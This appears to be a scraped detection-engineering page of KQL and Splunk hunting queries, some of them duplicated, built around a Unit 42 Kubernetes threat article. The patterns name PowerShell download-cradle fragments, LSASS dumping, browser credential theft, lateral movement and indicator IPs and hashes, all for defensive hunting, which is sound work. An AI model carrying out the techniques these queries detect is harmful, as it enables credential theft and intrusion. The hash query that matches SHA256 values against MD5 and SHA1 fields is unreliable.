| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
2026-04-0620 use cases19 techniques6 kill-chain phases detected
Unit 42 uncovers escalating Kubernetes attacks, detailing how threat actors exploit identities and critical vulnerabilities to compromise cloud environments. The post Understanding Current Threats to Kubernetes Environments appeared first on Unit 42 .
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha) · PowerShell encoded / obfuscated command · Trusted vendor binary / installer launching unusual children · Article-specific behavioural hunt — Understanding Current Threats to Kubernetes Environments · [LLM] React2Shell post-exploit: Node.js/Next.js spawning shell utilities to read mounted SA tokens (CVE-2025-55182)
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard · File hash IOCs — endpoint file/process match · [LLM] Vim-masquerading backdoor downloaded to /tmp, executed, and self-deleted in container
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Remote service execution — PsExec / SMB lateral movement · OAuth consent / suspicious app grant · Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · [LLM] Kubernetes pod base64-encoding cloud credential files and POSTing via curl/wget
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("104.238.149.198", "45.76.155.14", "23.235.188.3") or RemoteUrl has_any ("")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("104.238.149.198", "45.76.155.14", "23.235.188.3")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-55182")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-55182")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
OAuth consent / suspicious app grantActions on ObjectivesHigh
Cloud identity abuse: app gets high-priv scopes, often via consent phishing.
ATT&CKT1528T1098.001
Data sourcesAuthentication.AuthenticationCloudAppEvents
CloudAppEvents
| where Timestamp > ago(7d)
| where ActionType in ("Consent to application.","Add OAuth2PermissionGrant.","Add delegated permission grant.")
| project Timestamp, AccountObjectId, AccountDisplayName, ActivityType,
ActivityObjects, IPAddress, UserAgent
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Authentication.Authentication
where Authentication.action="success"
AND Authentication.signature IN (
"Consent to application",
"Add app role assignment grant to user",
"Add OAuth2PermissionGrant",
"Add delegated permission grant")
by Authentication.user, Authentication.app, Authentication.src, Authentication.signature
| `drop_dm_object_name(Authentication)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Match SHA256/SHA1/MD5 named in the article against EDR file/process telemetry.
ATT&CKT1027
Data sourcesEndpoint.FilesystemEndpoint.ProcessesDeviceFileEventsDeviceProcessEvents
union DeviceFileEvents, DeviceProcessEvents
| where Timestamp > ago(7d)
| where SHA256 in~ ("05eac3663d47a29da0d32f67e10d161f831138e10958dcd88b9dc97038948f69", "7d2c9b4a3942f6029d2de7f73723b505b64caa8e1763e4eb1f134360465185d0", "bb470a803b6d7b12fb596d2e4a18ea9ca91f40fd34ded7f01a487eed9a1d814d") or SHA1 in~ ("05eac3663d47a29da0d32f67e10d161f831138e10958dcd88b9dc97038948f69", "7d2c9b4a3942f6029d2de7f73723b505b64caa8e1763e4eb1f134360465185d0", "bb470a803b6d7b12fb596d2e4a18ea9ca91f40fd34ded7f01a487eed9a1d814d") or MD5 in~ ("05eac3663d47a29da0d32f67e10d161f831138e10958dcd88b9dc97038948f69", "7d2c9b4a3942f6029d2de7f73723b505b64caa8e1763e4eb1f134360465185d0", "bb470a803b6d7b12fb596d2e4a18ea9ca91f40fd34ded7f01a487eed9a1d814d")
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where Filesystem.file_hash IN ("05eac3663d47a29da0d32f67e10d161f831138e10958dcd88b9dc97038948f69", "7d2c9b4a3942f6029d2de7f73723b505b64caa8e1763e4eb1f134360465185d0", "bb470a803b6d7b12fb596d2e4a18ea9ca91f40fd34ded7f01a487eed9a1d814d")
by Filesystem.dest, Filesystem.user, Filesystem.file_path, Filesystem.file_name, Filesystem.file_hash
| `drop_dm_object_name(Filesystem)`
| append
[| tstats `summariesonly` count from datamodel=Endpoint.Processes
where Processes.process_hash IN ("05eac3663d47a29da0d32f67e10d161f831138e10958dcd88b9dc97038948f69", "7d2c9b4a3942f6029d2de7f73723b505b64caa8e1763e4eb1f134360465185d0", "bb470a803b6d7b12fb596d2e4a18ea9ca91f40fd34ded7f01a487eed9a1d814d")
by Processes.dest, Processes.user, Processes.process_name, Processes.process_hash
| `drop_dm_object_name(Processes)`]
Article-specific behavioural hunt — Understanding Current Threats to Kubernetes EnvironmentsExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
